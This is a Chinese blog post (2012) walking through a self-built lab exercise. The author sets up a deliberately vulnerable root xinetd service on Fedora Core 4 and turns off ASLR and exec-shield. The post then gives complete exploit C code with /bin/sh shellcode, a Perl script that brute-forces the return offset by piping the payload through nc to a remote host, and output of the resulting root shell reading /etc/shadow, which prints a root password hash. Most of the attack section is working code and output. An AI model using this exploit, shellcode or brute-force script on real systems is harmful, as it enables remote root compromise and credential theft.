远程缓冲器溢出攻击

实验平台:Fedora Core 4 (做实验的必备利器平台,很好很强大,也可以用来学习鸟哥的linux私房菜,现在网上都不好找了)

http://archives.fedoraproject.org/pub/archive/fedora/linux/core/4/i386/iso/  这是官方的,相当给力,在网上还没有消失

前提:去掉操作系统的堆栈执行保护和内存随机化机制

sysctl -w kernel.randomize_va_space=0
sysctl -w kernel.exec-shield=0

在ubuntu8.04平台上可以只用第一条即可,但是redhat9.0的保护机制真的很神秘,我说什么也没找到如何去掉内存随机化机制

目标漏洞代码:

//vuln.c在root目录下
/*远程漏洞*/ /*加载到xinetd中,或其他类似环境中*/ #include<stdio.h> #include<string.h> #include<ctype.h> int doit(char *str) { char bufz[400]; printf("doing stuffz...\n"); strcpy(bufz,str); return(0); } int main(int argc,char *argv[]) { char buf[4096]; gets(buf); doit(buf); //doit(argv[1]); printf("DONE STUFFZ..[%s]\n",buf); return(0); }

 编译漏洞程序代码:

gcc -o vuln vuln.c -ggdb

编辑如下文件/etc/services,在最后面添加

vuln 555/tcp
#added to test remote exploit

这两行代码即可

接下来,在/etc/xinetd.d目录中创建以下脚本:

#default:on
#description:The vuln server is to test remote exploits,do NOT leave
#in place!!! It is vulnerable.!!
service vuln
{
  flags		=	REUSE
  socket_type	=	stream
  wait			=	no
  user			=	root
  server		=	/root/vuln
  #log_on_failure+	=	USERID
}

 最后,重启xinetd进程:

[root@Lynx ~]# /etc/init.d/xinetd restart
停止 xinetd:                                              [  确定  ]
启动 xinetd:                                              [  确定  ]

检查一下漏洞服务是否正常开启:

[root@Lynx ~]# netstat -an | grep 555
tcp        0      0 0.0.0.0:555                 0.0.0.0:*                   LISTEN

说明服务开启成功了。

上面完成了搭建漏洞目标,下面开始考虑攻击。

思路是要确定远程机器的esp值,可以在同一平台上编译一个程序,并调试器跟踪,这种方法只是为了估计一下esp值,然后可以用perl脚本暴力猜解。

#! /usr/bin/perl
$MIN=0;
$MAX=5000;
while($MIN<$MAX){
printf("offset:$MIN Hold down the enter key til program stops...\n");
system("(./exploit 600 $MIN 0xbffff848;cat) | nc 192.168.0.100 555");$MIN++;
}

 其中用的exploit代码如下:

//exploit.c
#include<stdio.h>
char shellcode[]= //setuid(0)
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
unsigned long get_sp(void){
  __asm__("movl %esp,%eax");
}
int main(int argc,char *argv[1]){
int i,offset=0;
long esp,ret,*addr_ptr;
char *buffer,*ptr;
int size=500;
esp=get_sp();
if(argc>1) size=atoi(argv[1]);//atoi将字符串转换成整型数字
if(argc>2) offset=atoi(argv[2]);
if(argc>3) esp=strtoul(argv[3],NULL,0);//将参数转换为无符号长整数型 
ret=esp-offset;
fprintf(stderr,"Usage:%s<buff_size><offset><esp:0xfff...>\n",argv[0]);
fprintf(stderr,"ESP:0x%x Offset:0x%x Return:0x%x\n",esp,offset,ret);
buffer=(char *)malloc(size);
ptr=buffer;
addr_ptr=(long *)ptr;
for(i=0;i<size;i+=4){ //把buffer都填充上ret地址
*(addr_ptr++)=ret;
}
for(i=0;i<size/2;i++){ //把buffer前半部都填上NOP
buffer[i]='\x90';}
ptr=buffer+size/2; //从buffer中间开始填充shellcode代码  这几步实现exploit的攻击三明治
for(i=0;i<strlen(shellcode);i++){
*(ptr++)=shellcode[i];
}
buffer[size-1]=0;  //不要忘了buffer最后用0结尾,否则程序会找不到结尾的
//execl("./vuln","vuln",buffer,0);
printf("%s",buffer);   //一定要有,以用来被shell的cat捕获
free(buffer);
return 0;
}

猜解过程:

[root@Lynx ~]# perl brute.pl
offset:0 Hold down the enter key til program stops...
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff848 Offset:0x0 Return:0xbffff848
。
。省略n多回车过程
。
。
offset:3725 Hold down the enter key til program stops...
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff848 Offset:0xe8d Return:0xbfffe9bb


offset:3726 Hold down the enter key til program stops...
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff848 Offset:0xe8e Return:0xbfffe9ba





id;   //这个当然是自己输入的了
uid=0(root) gid=0(root)
head -5 /etc/shadow
root:$1$sGyrznBw$Tz5gxCNe/mPijTIbbWzyM0:15692:0:99999:7:::
bin:*:15692:0:99999:7:::
daemon:*:15692:0:99999:7:::
adm:*:15692:0:99999:7:::
lp:*:15692:0:99999:7:::

 以后就可以直接用

 #./exploit 600 0xe8e 0xbffff848;cat) | nc 192.168.0.100 555

直接进行攻击了。

 

实验总结:实验并不顺利,开始找不到合适esp的值,很迷茫,有是服务程序,用gdb不会调试。冷静下来,要一部分一部分确定没问题,首先服务程序代码能顺利启动,没有问题,而且以前有本地溢出的基础,可以看出确实存在溢出漏洞,所以目标代码没有问题。

接下来还剩下perl暴力猜解过程和exploit。先来确定exploit有没有问题,可以用溢出本地程序来测试,先用一个参数的,例如用./exploit 600,如果得到:

[root@Lynx ~]# ./exploit 600
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff848 Offset:0x0 Return:0xbffff848
sh-3.00#

这个结果说明能溢出成功,那么就测试用三个参数./exploit 600 0 0xbffff848 ,也能返回shell

[root@Lynx ~]# ./exploit 600 1 0xbffff849
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff849 Offset:0x1 Return:0xbffff848
sh-3.00#

说明exploit不存在问题。

接下来排除perl暴力猜解脚本,其实只要明白其中的暴力猜解原理,就很容易理解啦,核心是

system("(./exploit 600 $MIN 0xbffff848;cat) | nc 192.168.0.100 555");$MIN++;

在shell里面执行./exploit 600 $MIN 0xbffff848,然后用cat捕获,再通过管道输出到nc作为nc的输入,nc把数据提交到服务器,被服务器执行。当所有都没有问题了,那就一直按着回车等吧,关键初始的esp要选的合适,perl脚本里的MAX也要足够大,才有可能猜到合适的esp值,不然会猜解不到的。

 

另:感觉在linux建立服务程序真的很轻松啊,linux强大至极,nc是相当牛叉的数据提交工具。

posted @ 2012-12-20 12:08  山貓  阅读(2247)  评论(0编辑  收藏  举报